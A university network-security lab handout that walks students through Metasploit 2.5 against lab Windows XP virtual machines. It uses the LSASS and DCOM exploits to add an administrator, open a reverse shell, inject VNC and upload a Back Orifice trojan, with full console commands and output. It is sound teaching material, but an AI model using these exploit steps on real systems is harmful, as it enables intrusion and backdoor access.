exploit frameworks using 2883

8/4/2019 Exploit Frameworks Using 2883

http://slidepdf.com/reader/full/exploit-frameworks-using-2883 1/41

ECE 4112 Internetwork Security

Lab XX: Exploit Frameworks Using Metasploit

Group Number: _______________

Member Names: _________________________ _________________________

Date Assigned: TBD

Date Due: TBD

Last Edited: 12/14/2005

Lab Authored By: Thomas Litchfield, Vineet Chhangani

Please read the entire lab and any extra materials carefully before starting. Be sure to

start early enough so that you will have time to complete the lab. Answer ALL questionsand be sure you turn in ALL materials listed in the Turn in Checklist ON or BEFORE

the Date Due.

Goal: The goal of this lab is to learn how to install and use the Metasploit

Framework in a Linux and Windows environment and show how the exploit framework

can be used to identify and take advantage of vulnerabilities in both operating systems.While the lab will include exercises that show how to exploit vulnerabilities, the students

should also be focused on what defensive steps can be taken as a system administrator to

prevent someone else from performing these attacks on a production system.

Summary: This lab will consist of six sections. Section 1 will consist of setting

up the environment and installing the Metasploit software. Sections 2 through 4 will use

the Red Hat Linux WS 4.0 host machine as the attacker and the Windows XP virtual

machine as the target. Section 5 will use one Windows XP virtual machine to attack

another Windows XP virtual machine. The setup of the virtual machines and the

terminology used to distinguish between the two Windows XP virtual machines will be

explained later. The six section topics will consist of:

Section 1: Setting up the Metasploit Framework software

Section 2: Remotely add an administrator user to Windows XPSection 3: Gain administrator access to a remote Windows XP command shell

Section 4: Use DLL injection to open up a remote VNC connection

Section 5: Remotely install and run a rootkit on Windows

Section 6: Setting up and using the Metasploit Framework Web Interface

1



Background and Theory: Exploit Frameworks were first created as

a development tool to be used by network and system administrators for the purpose of penetration testing. Penetration testing can be a very complicated and difficult

undertaking since there are many different ways a network, and a computer system on a

network, can be compromised. To help automate this type of testing, developers came up

with the concept of exploit frameworks. The exploit frameworks would take a collectionof known vulnerabilities for a particular system and script a set of attacks that an

administrator would likely see in a real world setting. As more vulnerabilities were

discovered, they were added to the frameworks to keep them current. Exploitframeworks are still a very important part of penetration testing in current network

environments and several companies sell very expensive and very advanced framework

products. For this lab we will be experimenting with the functionality of a very popular open source framework called Metasploit (www.metasploit.com).

Within the development of creating frameworks the task of automating exploits can be broken down into two parts – Exploit Frameworks and Shellcode Generators. Exploit

Frameworks can be defined as a collection of reusable tools and scripts that automate thetask of exploiting known vulnerabilities in applications and operating systems. What this

means is that an exploit framework is a set of pre-defined scripts that make the process of exploiting a vulnerability very simple and automatic. All of the pre-defined scripts are

contained within the install package so there is no need to install extra software or to

modify the scripts to successfully run the exploits. Instead of modifying the scripts, youset switches and parameters within the program. One of the main settings you configure

in the software is the Payload. The payload is the actual code that is executed on the

target system once the exploit opens up communication with the target. It is thiscombination of exploits and payloads that is the basis for how frameworks operate.

As previously mentioned, the other part of automating exploits is the shellcode generator.A shellcode generator is defined as a program or a set of scripts that converts standardcode into a “shellcode” that can be used by exploit frameworks. The payload section of

the exploit is essentially a script or a set of instructions that are written in shellcode.

Since many programmers do not know how to program in shellcode, there are shellcodegenerators available on the Internet. A shellcode generator takes a script written in a

standard language, usually C, and converts it into shellcode which can be used in the

exploit framework as a payload.

Programming your own shellcode can be a tedious task and is beyond the scope of this

class, therefore this lab will not be concentrated on the actual generation of payloads but

rather we will use payloads that come with the framework. Part of the goal of the lab isto show a system administrator what type of threats are available via a exploit framework

and to show how easy it is to take advantage of a system with very little knowledge of

vulnerabilities. With this goal in mind we will use existing exploits and payloads that arealready contained in the install package.

For more examples of popular exploit frameworks, look at these software packages and

2

http://www.metasploit.com/

http://www.metasploit.com/



websites:

MOSDEF (http://www.immunitysec.com/downloads/MOSDEF0.6.tgz) The ImmunitySec website has a good documentation page that contains many good links

to papers and presentations on the subject of exploits and frameworks. Take some time

to look at this webpage and read some of the resources available. The webpage is locatedat: http://www.immunitysec.com/resources-papers.shtml

ADMmutate (http://www.ktwo.ca/ADMmutate-0.8.1.tar.gz)More information about ADMmutate and other exploits can be found at:

http://www.ktwo.ca/security.html

Metasploit (http://www.metasploit.com/projects/Framework/downloads.html)Metasploit is the framework that we will use in this lab. You will become very familiar

with this tool by performing the lab exercises, however you are encouraged to familiarize

yourself with the tool as much as possible before the lab. A good resource to read prior

to performing these exercises is a three part article on Metasploit written by SecurityFocus. You can read the article online at:

http://www.securityfocus.com/infocus/1789

Another good article that covers the topic of using Metasploit for penetration testing is

“Metasploit for the Penetration Tester”, found online at:

http://www.giac.org/certified_professionals/practicals/gsec/4363.php

Finally, you can read the Metasploit Users Guide online at:

(http://www.metasploit.com/projects/Framework/docs/userguide/index.html)

Prelab Questions: None.

Lab Scenario: This lab requires the use of four machines. The main machine

that we will use as the “attacker” machine for most of the labs will be your Red Hat WS

4.0 host machine. This machine will always be referenced in the sections as “Red Hat

WS 4.0 host machine”. We will also use the Windows XP virtual machine that you havealready created in a previous lab. This Windows XP virtual machine will be the “target”

machine in most of the labs and will always be referenced in the sections as “Original

Windows XP virtual machine”. Section 5 of this lab will require you to have a secondWindows XP virtual machine running on your host system. If you haven’t already created

a second Windows XP virtual machine in one of the previous labs, you will have the

opportunity to create one in Section 5. Do not worry about doing that at this time. Thissecondary Windows XP virtual machine will always be referenced in the sections as

“Windows XP Copy virtual machine”.

The version of Metasploit that we will use on Linux and Windows XP will be 2.5 (the

3

http://www.immunitysec.com/downloads/MOSDEF0.6.tgz

http://www.immunitysec.com/resources-papers.shtml

http://www.ktwo.ca/ADMmutate-0.8.1.tar.gz


http://www.metasploit.com/projects/Framework/downloads.html



http://www.metasploit.com/projects/Framework/docs/userguide/index.html

http://www.immunitysec.com/downloads/MOSDEF0.6.tgz

http://www.immunitysec.com/resources-papers.shtml

http://www.ktwo.ca/ADMmutate-0.8.1.tar.gz





http://www.metasploit.com/projects/Framework/docs/userguide/index.html



latest version at the time of this writing) and the install packages can be found on the

NAS in the /mnt/nas4112/LabXX/ folder.

On the below diagram, please take a moment to identify the IP addresses for your Red

Hat WS 4.0 host machine, your Original Windows XP Pro virtual machine, and your

Windows XP Pro Copy virtual machine. If you do not yet have a virtual machine copythen identify what IP address you will use once you have created it. Write down all of

the IP addresses in the spaces provided. This will help you keep track of what IP address

belongs to what machine when we start using multiple machines in the lab.

Section 1: Installing Metasploit Framework 2.5

In this section you will set up the Metasploit Framework package on your Red Hat WS

4.0 host machine. In order to get the files needed for installation you will first need to

mount the network attached storage (NAS). The Metasploit framework installation package can also be downloaded at:


# mount /mnt/nas4112

After you enter the NAS password and mount the drive you need to change the directory

to this labs folder and copy the files back to your host machine. To do so, enter thefollowing commands:

# cd /mnt/nas4112/labxx/

# cp framework-2.5.tar.gz /root/

To uncompress the files after you copy them to your home folder:

# tar xvfz framework-2.5.tar.gz

This creates a directory in /root/ called “framework-2.5”. This will be the home folder

4





for Metasploit and contains all of the files used to run the framework. There is nothing

more we need to do for the install. Within this folder, the main file that we will be using

for most sections of this lab is called “msfconsole”.

Section 2: Remotely Add a User to Windows XP

In this section we will use the Metasploit framework to run an exploit against our Original Windows XP virtual machine to remotely add an administrator user to Windows

XP. This exploit will take advantage of a vulnerable Windows service known as LSA

and will run through port 139 which is a commonly open Windows port.

For more information on the LSA framework and its vulnerabilities, please read

Appendix A.

The username and password will be of our choosing and the resulting user will haveadministrator privileges. As this section will show, the attacker will not need any special

access to the target machine other than being on the same network.

Exercise 2.1 – Preliminary Information

Before we actually run the exploit we need to go to our Original Windows XP virtual

machine and take note of some settings. On the Original Windows XP virtual machine

go to the Control Panel and click on the User Accounts icon. At its default state, youshould see two accounts already on the system – user1 and guest. User1 should be an

administrator and the guest user should be turned off or disabled. Note that there are no

other usernames on this system.

5



Close all open windows and leave the Original Windows XP virtual machine running.

Exercise 2.2 – Learning the Basics of Metasploit

Switch back over to your Red Hat WS 4.0 host machine and open up a terminal window.

In the terminal window change the directory to your Metasploit framework installdirectory. The command for this is:

# cd /root/framework-2.5

In this directory, start up the Metasploit framework by typing:

# ./msfconsole

The Metasploit 2.5 framework console should start up and present you with a msf >

prompt. Your terminal window should look something like this:

6



(NOTE: Metasploit uses different ‘splash’ screens at startup and chooses the ‘splash’

screen randomly, therefore your terminal may look slightly different than the one pictured here.)

Once you are at the msf > prompt, you can type a ? and hit enter to see all of the available

commands. It is also important to note that if you ever type a command that Metasploitdoes not recognize the program will automatically pass the command to the operating

system and try to execute it there. This can be very helpful if you need to run a Red Hat

OS command, you can do it within Metasploit and the command will run in the OS.There is no need to open another terminal window or to exit out of Metasploit to run OS

commands.

Take a minute now to explore how the Metasploit console works.

At the msf > prompt, type a ? and hit enter.

msf > ?

Briefly familiarize yourself with these commands, we will be using some of them later in

the lab. Also, at this point, type in one or two Red Hat OS commands and take note as to

how the framework passes the commands to the OS and returns the results back into the program.

msf > ifconfig msf > whoami msf > ls /

Now that you are familiar with running the Metasploit console and have practiced with a

7



couple of commands, it is time to run our first exploit that will add an administrator user

to our Original Windows XP virtual machine.

Exercise 2.3 – Running the Exploit in Metasploit

The first step is to select an exploit that we want to use. To see all of the availableexploits we use the command “show exploits”.

msf > show exploits

You will see a fairly comprehensive list of exploits fill up the screen. Within this list, the

left column contains all of the exploit names and the right column shows a brief

description of what the exploit is. Since our target machine in this section is a Windows

XP machine we will be looking for an exploit that takes advantage of a Windows relatedvulnerability. For this example we will be using the lsass_ms04_011 exploit. To select

this exploit type the following command

msf > use lsass_ms04_011

Notice that when you type in this command, the prompt changes from msf > to msf lsass_ms04_011 >

Now that we have selected an exploit we need to set some other options before we canactually run the exploit. To see a list of what parameters can be set, type the following

command at the prompt

msf lsass_ms04_011 > show

This command reveals that the parameters we can choose are 'targets', 'payloads','options', or 'advanced'. The first parameter we will set will be the payloads option. The

payload is the part of the exploit that is actually passed to the target machine. In the case

of our example we are exploiting the LSA framework within Windows and our goal is to

remotely add an administrator user to the machine. The payload that we choose will bethe code that actually performs the operation of adding the administrator user. To see a

list of available payloads for the chosen exploit run this command at the prompt:

msf lsass_ms04_011 > show payloads

For this section we want to add a user to XP, so we will choose the first payload –

win32_adduser. To select this type:

msf lsass_ms04_011 > set PAYLOAD win32_adduser

(make sure that PAYLOAD is in all caps)

Notice that when you select the payload, the msf prompt changes again to reflect thename of the payload that is being used.

8



The next parameter we need to set is the target. The target option specifies what type of

system we are running the exploit against. Our remote system is Windows XP. To view

the settings for target, type:

msf lsass_ms04_011(win32_adduser) > show targets

To select Windows XP as our target, enter the following command:

msf lsass_ms04_011(win32_adduser) > set TARGET 2

(make sure that TARGET is in all caps)

The final settings that we need to configure are some options that are specific to thisexploit and payload. These options can be viewed by typing the command:

msf lsass_ms04_011(win32_adduser) > show options

Within this list of options you will see the option name and whether or not it is required

by the exploit. You will also see a default value for the options if there is one available.We need to set a value for every option that is defined as required and does not have a

default value. For this exploit we will need to set RHOST, USER, and PASS. The first parameter, RHOST, is the IP address of the remote system that we are attacking. To set

this value, type:

msf lsass_ms04_011(win32_adduser) > set RHOST 57.35.6.xxx

Where ‘xxx’ is the fourth octet of the IP address of your OriginalWindows XP virtual machine.

(make sure that RHOST is in all caps)

The next required value that we need to set is USER. USER is the username that we aregoing to add to our Windows XP virtual machine.

msf lsass_ms04_011(win32_adduser) > set USER metasploit

Where ‘metasploit’ is the name of the user you wish to add. You cansubstitute any username in place of ‘metasploit’ just stay away fromdefault Windows usernames like admin or guest, etc.

(make sure that USER is in all caps)

The final required value that we need to set is PASS. PASS is the password that will beassociated with our newly created username.

msf lsass_ms04_011(win32_adduser) > set PASS ece4112

Where ‘ece4112’ is the password. You can substitute any password youlike in place of ‘ece4112’.

(Make sure that PASS is in all caps)

Now, all of the required options are configured for this exploit and payload. The exploit

9



is ready to be executed, but before we run it, it is important to double check all of the

settings first. All of the options that we set and all of the values that we assigned can be

viewed with the command ‘set’. At the prompt type:

msf lsass_ms04_011(win32_adduser) > set

The output should look something like this:

msf lsass_ms04_011(win32_adduser) > setPASS: ece4112PAYLOAD: win32_adduserRHOST: 57.35.6.193TARGET: 2USER: metasploit

Double check the settings. If everything looks correct, execute the exploit with thecommand ‘exploit’.

msf lsass_ms04_011(win32_adduser) > exploit

If everything was set correctly, the output on the screen should look like this:

[*] Windows XP may require two attempts[*] Sending 32 DCE request fragments...[*] Sending the final DCE fragment

Now switch over to your Windows XP virtual machine and go back to the Control Panel

and click on “User Accounts”. If the exploit ran correctly you should see a newusername in the list that is the name of the user you created in the USER option earlier.

*** NOTE ***

Due to the LSA framework in Windows, the first exploit attempt may not work. If

you do not see your username in the “User Accounts” window in your Original

Windows XP virtual machine Control Panel, just go back to your Red Hat WS 4.0

host machine terminal window and run the exploit command again and then check

Windows again.

Screenshot 1: Attach to your answer sheet a screen shot of your User Accounts windowshowing your new username.

Test your new username by logging off of Windows.

Start → Log Off → Log Off

At the Windows XP Welcome screen, click the icon next to your new username and enter the password that you specified in Metasploit with the PASS option.

Once you are logged into Windows, browse around the OS and test your new account.

10



Q2.1: What level of access does your new user have in Windows?

Q2.2: How can a system administrator detect this kind of attack?

Q2.3: What can a system administrator do to prevent this type of attack?

Before you move on to the next section, take a minute to log off of your Windows XP

virtual machine and log back on as “User1”. As User1, go back to your Control Paneland click on User Accounts. Select the username that you just created and delete it. We

do not want the presence of this username to interfere with later sections in this lab.

Section 3: Gain Remote Access to a Windows XP

Command Line ShellIn this section we will use the Metasploit framework to attack our Original Windows XPvirtual machine by opening up a command line shell remotely from our Red Hat WS 4.0

host machine. From the remote command line, we will be able to issue any valid

Windows command and it will execute on the remote system the same way as it would if we were logged on locally.

The exploit that we will use for this section takes advantage of the Microsoft Remote

Procedure Call (RPC) DCOM vulnerability. For more information on RPC and DCOM please read Appendix B.

To begin this section, close all open windows on your Original Windows virtual machinethat might still be open from Section 2, and leave the Windows XP virtual machine

running.


Now switch back over to your Red Hat WS 4.0 host machine and open up a terminalwindow. In the terminal window change the directory to your Metasploit framework

install directory. If your Metasploit console is still open from the previous lab, please

close that window and open up a new one. The command for this is:



# ./msfconsole

You should be at the familiar Metasploit prompt that we saw in Section 2. To see the list

11



of available exploits type:

msf > show exploits

Since our target machine in this section is a Windows XP machine we will be looking for

an exploit that takes advantage of a Windows related vulnerability. However for the sake

of learning something new we will use something different from the LSA exploit used inSection 2. For this example we will be using the msrpc_dcom_ms03_026 exploit. To

select this exploit type the following command

msf > use msrpc_dcom_ms03_026

For more information about the Windows DCOM module and RPC and how they can beexploited, please read Appendix B.

Notice that when you type in this command, the prompt changes from msf > to msf msrpc_dcom_ms03_026 >

Now that we have selected the exploit that we will use, we need to set some options that

are specific to this exploit like we did in Section 2 with the LSA exploit. To see a list of

what parameters can be set, type the following command at the prompt

msf msrpc_dcom_ms03_026 > show

The first parameter we need to set is PAYLOAD. To see a list of payloads that can be

used with this exploit, type:

msf msrpc_dcom_ms03_026 > show payloads

The goal of this section is to gain remote access to a Windows XP command line shell, so

we will choose the Windows Reverse Shell payload. To do this, enter the command:

msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse


Notice that when you select the payload, the msf prompt changes again to reflect the

payload name that is being used.

The next parameter that we need to set is the TARGET. To see a list of targets that can

be used with this exploit, type:

msf msrpc_dcom_ms03_026(win32_reverse) > show targets

For this exploit, there is only one target that covers all versions of Windows. To set this

parameter enter the command:

msf msrpc_dcom_ms03_026(win32_reverse) > set TARGET 0

12




Finally we need to set some options that are specific to this exploit and payloadcombination. To see these options type:

msf msrpc_dcom_ms03_026(win32_reverse) > show options

Just like in the previous section, any value that is listed as required and does not have a

default value associate with it needs to be set. In this case we need to set RHOST and

LHOST. RHOST is the IP address of our Original Windows XP virtual machine andLHOST is the IP address of the Red Hat WS 4.0 host machine that we are running

Metasploit from. Metasploit needs the LHOST information so it knows where to send

the remote Windows shell to. To set these values enter the following commands:

msf msrpc_dcom_ms03_026(win32_reverse) > set RHOST 57.35.6.xxx

Where ‘xxx’ is the fourth octet of the IP address of your Original

Windows XP virtual machine.(make sure that RHOST is in all caps)

msf msrpc_dcom_ms03_026(win32_reverse) > set LHOST 57.35.6.xxx

Where ‘xxx’ is the fourth octet of the IP address of your Red Hat WS4.0 host machine.

(make sure that LHOST is in all caps)





msf msrpc_dcom_ms03_026(win32_reverse) > set


msf msrpc_dcom_ms03_026(win32_reverse) > setLHOST: 57.35.6.191PAYLOAD: win32_reverseRHOST: 57.35.6.193TARGET: 0

Double check the settings. If everything looks correct, execute the exploit with thecommand ‘exploit’.

msf msrpc_dcom_ms03_026(win32_reverse) > exploit


13



[*] Starting Reverse Handler.[*] Splitting RPC request into 7 packets[*] Got connection from 57.35.6.191:4321 <-> 57.35.6.195:3045

Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

This is your remote Windows XP command shell. Any commands that you type in this

window will be executed remotely on your Original Windows XP virtual machine. Takesome time to type some Windows commands and view their output.

Q3.1: What level of access do you have at the remote Windows command shell?

Q3.2: Are there any indications on the virtual machine console that anything has

happened?

Q3.3: What are some examples of commands that you could use at this prompt to further exploit this system?


Screenshot 2: Attach to your answer sheet a screen shot of your remote Windowscommand shell showing the output of running the ipconfig command.

(The screen shot should show the Windows XP banner and command prompt within a

Red Hat terminal window and show the XP network information.)

Section 4: VNC Server DLL Injection

In this section we will use the Metasploit framework to run an exploit against our

Original Windows XP virtual machine to remotely execute the VNC server program andconnect to a VNC client shell from our Linux WS 4.0 host machine. What is interesting

about this section is that the target (Original Windows XP virtual machine) will not have

VNC installed on it. The exploit will work by taking a VNC dll file and copying it over to our Original Windows XP virtual machine and inject it into memory as a running

process. This will enable us to connect to the machine through a standard VNC client

and gain remote console access to a Windows XP operating system even when the VNCsoftware is not installed.

Much like the Windows XP add user exploit we did in Section 2, this exploit will take

advantage of the Windows LSA framework vulnerability. As you will see in theexercise, the VNC server we inject will be ready to take connections and will be

configured without a default password. We will also examine scenarios where the remote

user might be logged out of the console or have the screen locked.

14



Exercise 4.1 – Preliminary Information

Before we actually run the exploit we need to go to our Original Windows XP virtual

machine and take note of some settings. On the Original Windows XP virtual machine

go to the Control Panel and click on the Add or Remove Programs icon. Take note of what applications are installed on your virtual machine. Notice that no VNC software is

currently installed. If there is an instance of VNC server that was installed in a previous

lab, remove it. Once this is confirmed, close all open windows in XP and leave thevirtual machine running.

Exercise 4.2 – Install VNC Viewer on host machine

Switch back over to your Red Hat WS 4.0 host machine. In order for this exploit to work

properly, we need to have the VNC viewer client software installed on our host machine.

This is necessary because when the exploit is run, Metasploit will automatically spawn

the VNC client and automatically connect it to the VNC instance running on the OriginalWindows XP virtual machine. To install the VNC viewer we will need to copy the install

package from the network attached storage (NAS). You can also download the install package from the following website: http://www.tightvnc.com/download.html

To obtain the install package from the NAS follow these commands:

# cd /mnt/nas4112/labxx/

# cp tightvnc-1.2.9-1.i386.rpm /root/

# cd /root/

# rpm -Uvh tightvnc-1.2.9-1.i386.rpm

Exercise 4.3 – Running Metasploit

Now we are ready to run Metasploit and configure our options for this exploit. Go to

your Metasploit home directory and start the framework up.



# ./msfconsole

You should be at the familiar Metasploit prompt that we saw in Sections 2 and 3. To see

the list of available exploits type:

msf > show exploits

Since our target machine in this section is a Windows XP machine we will be looking for

15

http://www.tightvnc.com/download.html

http://www.tightvnc.com/download.html



an exploit that takes advantage of a Windows related vulnerability. The LSA framework

that we exploited in Section 2 worked well and didn’t require any special software to be

installed on Windows XP, so we will use that exploit again for this section. To select thisexploit run this command:

msf > use lsass_ms04_011

Just like in the previous two sections, there are several parameters that need to be set that

are specific to this exploit. To see what parameters are available, type:

msf lsass_ms04_011 > show

This command reveals that the parameters we can choose are 'targets', 'payloads','options', or 'advanced'. The first parameter we will set will be PAYLOAD. In the case

of our example we are exploiting the LSA framework within Windows and our goal is to

remotely inject the Windows XP virtual machine with the VNC dll. To see a list of

available payloads for the chosen exploit run this command at the prompt:

msf lsass_ms04_011 > show payloads

For this section we will choose the last payload – win32_reverse_vncinject. To select

this type:

msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject




The next parameter we need to set is the target. The target option specifies what type of system we are running the exploit on. Our remote system is Windows XP. To view the

settings for target, type:

msf lsass_ms04_011(win32_reverse_vncinject) > show targets

To select Windows XP as our target, enter the following command:

msf lsass_ms04_011(win32_reverse_vncinject) > set TARGET 2


The final settings that we need to configure are some options that are specific to thisexploit and payload. These options can be viewed by typing the command:

msf lsass_ms04_011(win32_reverse_vncinject) > show options

Just like with previous sections, we will need to set a value for every option that is

defined as required and does not have a default value. For this exploit we will only need

16



to set RHOST and LHOST. RHOST is the IP address of the remote system that we are

attacking. To set this value, type:

msf lsass_ms04_011(win32_reverse_vncinject) > set RHOST 57.35.6.xxx

Where ‘xxx’ is the fourth octet of the IP address of your Original

Windows XP virtual machine.(make sure that RHOST is in all caps)

The other required value that we need to set is LHOST. LHOST is the IP address of the

attacking machine, which in this case is our Red Hat WS 4.0 host machine.

msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST 57.35.6.xxx

Where ‘xxx’ is the fourth octet of the IP address of your Red Hat WS4.0 host machine.


Now, all of the required options are configured for this exploit and payload. The exploitis ready to be executed, but before we run it, it is important to double check all of the

settings first. All of the options that we set and all of the values that we assigned can beviewed with the command ‘set’. At the prompt type:

msf lsass_ms04_011(win32_reverse_vncinject) > set


msf lsass_ms04_011(win32_reverse_vncinject) > setLHOST: 57.35.6.191PAYLOAD: win32_reverse_vncinjectRHOST: 57.35.6.193TARGET: 2

Double check the settings. If everything looks correct, execute the exploit with the

command ‘exploit’.

msf lsass_ms04_011(win32_reverse_vncinject) > exploit

If everything was set correctly, the TightVNC client viewer should automatically launch

and connect to your Windows XP virtual machine.

***NOTE***Since we are using the LSA exploit again for this section, the payload may not

execute on the first attempt due to the nature of LSA and this exploit. If the Tight

VNC viewer does not automatically execute and connect, just run the exploit

command again in Metasploit.

Once you are connected, you will have to move your mouse around a little to trigger the

17



screen to refresh. During the VNC session, if the screen ever seems to freeze or not

update itself, just move your mouse around. VNC is configured to refresh the screen

under the mouse pointer. This is done to reduce bandwidth associated with keeping thewhole screen refreshed all of the time.

Screenshot 3: Attach to your answer sheet a screen shot of the Tight VNC client viewer within Linux showing the Original Windows XP virtual machine in the background and

the Metasploit Courtesy Shell window.

In the Metasploit Courtesy Shell, type some commands and take notice of what actions

you can take. In addition, take a look at the Start Menu, the Task Manager, and the Add

or Remove Programs window and look for any traces of VNC or any indication that VNC

is installed or running.

Q4.1: What indications are there on the virtual machine console that anything has

happened, or that VNC was installed?


Now close the Tight VNC client window in Linux and hit enter in the msfconsole

terminal window to break the connection.

In the remainder of this section we will further examine the VNC server dll injection and perform another example to show the power of this exploit.

Exercise 4.4 – Using VNC on a Logged Off System

One of the problems with the Windows version of VNC server is that it only enables you

to connect to the current session of the machine you are connecting to. This is fine if youcan connect to a machine where there is a user logged in with administrator privileges.

However, if you connect to a Windows machine and the user has logged off or locked the

screen, you will not be able to do anything unless you have a password or unless youhave previously run the Add User exploit and have a valid username and password. (For

this part of the lab we will assume that you do not have a password and have not executed

the Add User exploit previously).

In this part of the section, we are going to recreate one of these scenarios. To do this, go

back to your Windows XP virtual machine and log out.

Start Menu → Log Off → Log Off

Leave the Windows XP virtual machine at the welcome screen.

A traditional VNC client would connect to this Windows machine and the client program

would only display the welcome screen. Without a user account on the system, the

attacker would not be able to do anything. However the Metasploit VNC dll inject

18



exploit has a solution to this problem. To see how this works, leave your Windows XP

virtual machine at the welcome screen and switch back over to your Red Hat WS 4.0 host

machine and go to the Metasploit framework console window.

Now run the VNC reverse dll inject exploit again by entering the exploit command.

msf lsass_ms04_011(win32_reverse_vncinject) > exploit

If everything was set correctly, the TightVNC client viewer should automatically launch

and connect to your Windows XP virtual machine.

***NOTE***

Just like in the past with the LSA exploit, you may have to enter the exploit

command twice if it does not connect on the first attempt.

Once you are connected, move your mouse around a little to refresh the screen. Take

note of what has happened this time you connected to the Windows XP virtual machine.

Q4.3: What is different about the VNC session this time?

Q4.4: What makes this type of exploit very dangerous to a system administrator?

Screenshot 4: Attach to your answer sheet a screen shot of the Tight VNC client viewer

within Linux showing the Windows XP virtual machine welcome screen and theMetasploit Courtesy Shell window on top of it.

Section 5: Remotely Install and Execute a Rootkit

on Windows

In this section we will use a couple of different technologies in conjunction with oneanother to create a rootkit file, copy it over to our target machine and execute it. Once

executed we will connect to the rootkit and run some exploits. The host machine for this

section will be the original Windows XP virtual machine that was created in Lab 1. Thetarget machine will be the Windows XP Copy virtual machine. If you have not yet

created a copy virtual machine, do that now by following the instructions in

Appendix C of this lab. Throughout this section we will refer to the Windows attacker machine as the “original” Windows XP virtual machine and we will refer to the Windowstarget machine as the “copy” Windows XP virtual machine.

To create the rootkit file that we will remotely install on the target machine we will beusing the popular Back Orifice program. Once the rootkit file is created we will use

Metasploit to connect to the target machine and run our exploit. This is a Windows to

Windows exploit due to the nature of Back Orifice. However, this same technique could

19



be used to infect a remote system with a virus, or any other rootkit or trojan program that

is compatible with Linux or Windows.

Exercise 5.1 – Installing Metasploit on Windows XP

To begin this lab, first go to your original Windows XP virtual machine where we willinstall the Metasploit framework Windows program. First connect to the NAS from the

run prompt and browse to the Labxx folder. In this folder, copy the file “framework-

2.5.exe” file to your Windows XP desktop and follow these steps:(Note – the Windows version of Metasploit can be downloaded at:

http://www.metasploit.com/projects/Framework/downloads.html)

Double click on the file “framework-2.5.exe”Click Next on the first screen

Click on I Agree on the license agreement

Do not change the destination folder and click Next

Finally click InstallWait for it to finish copying files

When it is done, it will automatically launch msfconsole

Close the msfconsole window (we will launch it later when we need it)

Clck Finish on the install window

Exercise 5.2 – Installing Back Orifice on Windows XP

Now that Metasploit is installed and ready to use, we will need to install and configure

Back Orifice. To do this, go back to the NAS server and open up the Labxx folder. Inthis folder, copy the file “bo2k_1_0_full.exe” to your Desktop. Back Orifice can also be

downloaded from:

http://www.bo2k.com/software/index.html

To install the software follow these steps:

Double click on the file “bo2k_1_0_full.exe”

Click Next on the welcome screen

Click Next on the installation folder screen

The Install Shield program will startClick Next on the welcome screen

Click Yes on the GPL license screen

Click Next on the Location screenChoose Typical for type

Click Next on the program folder screen

Finally click Next to start copying filesWhen the files have been copied, click Finish

Exercise 5.3 – Creating a Trojan File with Back Orifice on Windows XP

20







Now that Back Orifice is installed, we will need to use the program to create the rootkit

file that we will use in our exploit on our Windows XP Copy virtual machine. To do this,

first start up Back Orifice by going to:

Start → All Programs → Bo2k

Run the program called Bo2k Configuration Tool

Once the Bo2k Configuration Tool starts, follow these steps to create the rootkit file:

Click Next on Step 1


Choose TCP networking on Step 3Pick any high port (> 1024) on Step 4 (eg. – port 3333)


Choose any password on Step 6 (eg. – ece4112)

Click FinishClose the Bo2k Server Configuration window

At this point in the lab we have created a trojan rootkit program called bo2k.exe. This

process has been very typical so far in that all we have done is use Back Orifice to create

this file. The challenge with any trojan or rootkit program is not in the creation of the

file, but in the process of getting the rootkit on the target machine, and more importantlyrunning. This is where Metasploit comes in and we can use the framework to transfer our

bo2k.exe file to our Windows XP Copy virtual machine.

Exercise 5.4 – Setting up the Environment

Before we can run Metasploit though, we need to put the rootkit file in a place whereMetasploit can find it. To do this, follow these steps:

Go to your Start Menu and open up Windows Explorer

Browse to C:\Program Files\Cult Of The Dead Cow\Back Orifice 2000

Right click on the file bo2k.exe and choose Copy

Browse to C:\Program Files\Metasploit Framework\home

Right click and choose Paste

Close Windows Explorer and close any open programs or windows on your original

Windows XP virtual machine and your Windows XP Copy virtual machine.


Now everything is set up correctly on our attacker virtual machine and it is time to run

Metasploit.

Start the Metasploit Framework Console by going to:

21



Start → All Programs → Metasploit Framework

Click on msfconsole

Metasploit should open in a DOS command window. Everything in the Windows version

of Metasploit is just like its Linux counterpart that we are familiar with. The commandsand procedures will be very similar to those that we have used in previous sections.

Just like in previous sections, we will need to first choose an exploit that we will use toinstall our rootkit on our Windows XP Copy virtual machine. Just like in Linux, to see a

list of available exploits, use the show exploits command:

msf > show exploits

In Section 3, we had good luck using the DCOM vulnerability in Windows, therefore we

will use that same exploit again for this section. To select the msrpc_dcom_ms03_026

exploit type the following command:

msf > use msrpc_dcom_ms03_026

Notice that when you type in this command, the prompt changes from msf > to msf msrpc_dcom_ms03_026 >

Now that we have selected the exploit that we will use, we need to set some options that

are specific to this exploit like we did in all of the previous exploits. To see a list of what

parameters can be set, type the following command at the prompt

msf msrpc_dcom_ms03_026 > show

The first parameter we need to set is PAYLOAD. To see a list of payloads that can be

used with this exploit, type:

msf msrpc_dcom_ms03_026 > show payloads

For this section our goal is to copy our bo2k.exe file over to our Windows XP Copy

virtual machine and execute it into memory. From the list of payloads that we have

available for this exploit, the one that we will use is win32_reverse_stg_upexec. Toselect this payload use the following command:

msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse_stg_upexec




The next parameter that we need to set is the TARGET. To see a list of targets that can

be used with this exploit, type:

22



msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > show targets

For this exploit, there is only one target that covers all versions of Windows. To set this parameter enter the command:

msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set TARGET 0


Finally we need to set some options that are specific to this exploit and payload

combination. To see these options type:

msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > show options

Just like in the previous sections, any value that is listed as required and does not have a

default value associate with it needs to be set. In this case we need to set RHOST,

LHOST, and PEXEC. RHOST is the IP address of our Windows XP Copy virtual

machine, LHOST is the IP address of our original Windows XP virtual machine that weare running Metasploit from, and PEXEC is the patch of the file that we will upload and

execute. To set these values enter the following commands:

msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set RHOST57.35.6.xxx

Where ‘xxx’ is the fourth octet of the IP address of your Windows XPCopy virtual machine

(make sure that RHOST is in all caps)

msf msrpc_dcom_ms03_026(win32_reverse_stg_upexec) > set LHOST

57.35.6.xxx

Where ‘xxx’ is the fourth octet of the IP address of your originalWindows XP virtual machine


